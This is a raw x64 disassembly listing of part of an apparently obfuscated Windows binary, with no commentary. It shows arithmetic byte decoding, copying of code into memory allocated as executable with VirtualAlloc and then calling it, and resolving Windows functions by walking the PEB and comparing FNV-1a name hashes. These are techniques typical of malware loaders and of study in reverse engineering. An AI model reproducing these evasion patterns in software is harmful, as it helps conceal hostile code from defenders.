add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400d5f0e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400d5a37
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400d57b5
mov byte [rbp + r10 - 0x30], dil
inc r10
jmp 0x1400d57b5
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 - 0x30]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400d5f0e
movzx r11d, r10b
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 - 0x30]
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x1400d5dea
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
movzx r11d, r10b
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
sub r11b, 0x5f
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x67
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 - 0x30], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400d5f5e
lea ecx, [r10 - 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6b
jmp 0x1400d5f30
movzx r11d, r10b
lea ecx, [r11 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x1400d5f0e
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
inc r8
dec r10
inc r10
jmp 0x1400d57b5
movzx edx, r10b
lea ecx, [rdx + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
jmp 0x1400d5eab
movzx edx, r10b
lea ecx, [rdx - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
add dl, 0x15
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
add r9b, 0x6d
add r9b, dl
mov byte [rbp + r10 - 0x30], r9b
inc r8
dec r10
inc r10
jmp 0x1400d57b5
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
dec r10
inc r10
jmp 0x1400d57b5
movzx r11d, r10b
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
add r11b, 0x5b
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x7d
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 - 0x30], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400d57b5
lea rax, [r10 + r12]
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r9 + rax]
add dil, 0x37
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5c
add r9b, cl
mov byte [rbp + r10 - 0x30], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
lea rax, [r10 + r15]
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r9 + rax]
add dil, 0x21
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
sub r10b, 0x17
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5f
jmp 0x1400d57a2
lea rcx, [rbp + 0x15f2f54]
jmp 0x1400d5ff9
lea rcx, [rbp + 0x15d8177]
jmp 0x1400d5ff9
lea rcx, [rbp - 0x30]
mov dl, 1
call fcn.140100070
movabs r15, 0xff00ff00ff00ff07
test al, al
je 0x1400d6190
lea rdi, [rbp + 0x32e8]
mov qword [rbp - 8], r15
mov qword [rbp], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp - 0x10], rbx
mov qword [rdi], 0
xor ecx, ecx
mov rax, qword [0x1402f4d80]
lea r14, [0x1400bff50]
test rax, rax
je 0x1400d6079
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x1400d6068
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x1400d6050
jmp 0x1400d6079
mov r8, qword [r13 + rdx*8 + 0x2f50a0]
test r8, r8
jne 0x1400d617d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400d615c
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400d60b0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r13 + rax*8 + 0x2f4d80], r14
mov qword [r13 + rax*8 + 0x2f50a0], r8
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400e92c0]
call r8
nop
xor rbx, r15
mov qword [rdi], rbx
jmp 0x1400d6197
lea r14, [0x1400bff50]
call fcn.1400d6f50
test al, al
je 0x1400d630e
lea rdi, [rbp + 0x32e8]
mov qword [rbp - 8], r15
mov qword [rbp], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp - 0x10], rbx
mov qword [rdi], 0
xor ecx, ecx
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x1400d61fd
xor edx, edx
cmp rax, r14
je 0x1400d61ec
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x1400d61d4
jmp 0x1400d61fd
mov r8, qword [r13 + rdx*8 + 0x2f50a0]
test r8, r8
jne 0x1400d62fd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400d62dc
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop dword [rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400d6230
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r13 + rax*8 + 0x2f4d80], r14
mov qword [r13 + rax*8 + 0x2f50a0], r8
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400e92c0]
call r8
nop
xor rbx, r15
mov qword [rdi], rbx
call fcn.1400eaa30
test al, al
je 0x1400d6480
lea rdi, [rbp + 0x32e8]
mov qword [rbp - 8], r15
mov qword [rbp], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp - 0x10], rbx
mov qword [rdi], 0
xor ecx, ecx
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x1400d6379
xor edx, edx
nop dword [rax + rax]
cmp rax, r14
je 0x1400d6368
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x1400d6350
jmp 0x1400d6379
mov r10, qword [r13 + rdx*8 + 0x2f50a0]
test r10, r10
jne 0x1400d646f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x1400d644e
mov rax, r14
mov rcx, r10
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1400d63a2
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r13 + rax*8 + 0x2f4d80], r14
mov qword [r13 + rax*8 + 0x2f50a0], r10
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400e92c0]
call r10
nop
xor rbx, r15
mov qword [rdi], rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400d6514
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400d6514
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d650f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400d64f0
cmp edx, 0xbb21e02e
je 0x1400d6519
test r9d, r9d
jne 0x1400d64d0
mov rax, qword [rax]
jmp 0x1400d64a0
mov eax, dword [rbx + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, qword [0x1402efa30]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400d65c4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400d65c4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d65bf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400d65a0
cmp edx, 0xbb21e02e
je 0x1400d65c9
test r9d, r9d
jne 0x1400d6580
mov rax, qword [rax]
jmp 0x1400d6550
mov eax, dword [rbx + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, qword [0x1402efa38]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400d6674
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400d6674
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d666f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400d6650
cmp edx, 0xbb21e02e
je 0x1400d6679
test r9d, r9d
jne 0x1400d6630
mov rax, qword [rax]
jmp 0x1400d6600
mov eax, dword [rbx + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, qword [0x1402efa40]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400d6724
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400d6724
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d671f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400d6700
cmp edx, 0xbb21e02e
je 0x1400d6729
test r9d, r9d
jne 0x1400d66e0
mov rax, qword [rax]
jmp 0x1400d66b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov rcx, qword [0x1402efa48]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400d67d4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400d67d4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d67cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400d67b0
cmp edx, 0xbb21e02e
je 0x1400d67d9
test r9d, r9d
jne 0x1400d6790
mov rax, qword [rax]
jmp 0x1400d6760
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov rcx, qword [0x1402efa50]
call rax
call 0x140000000
add rsp, 0x33a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret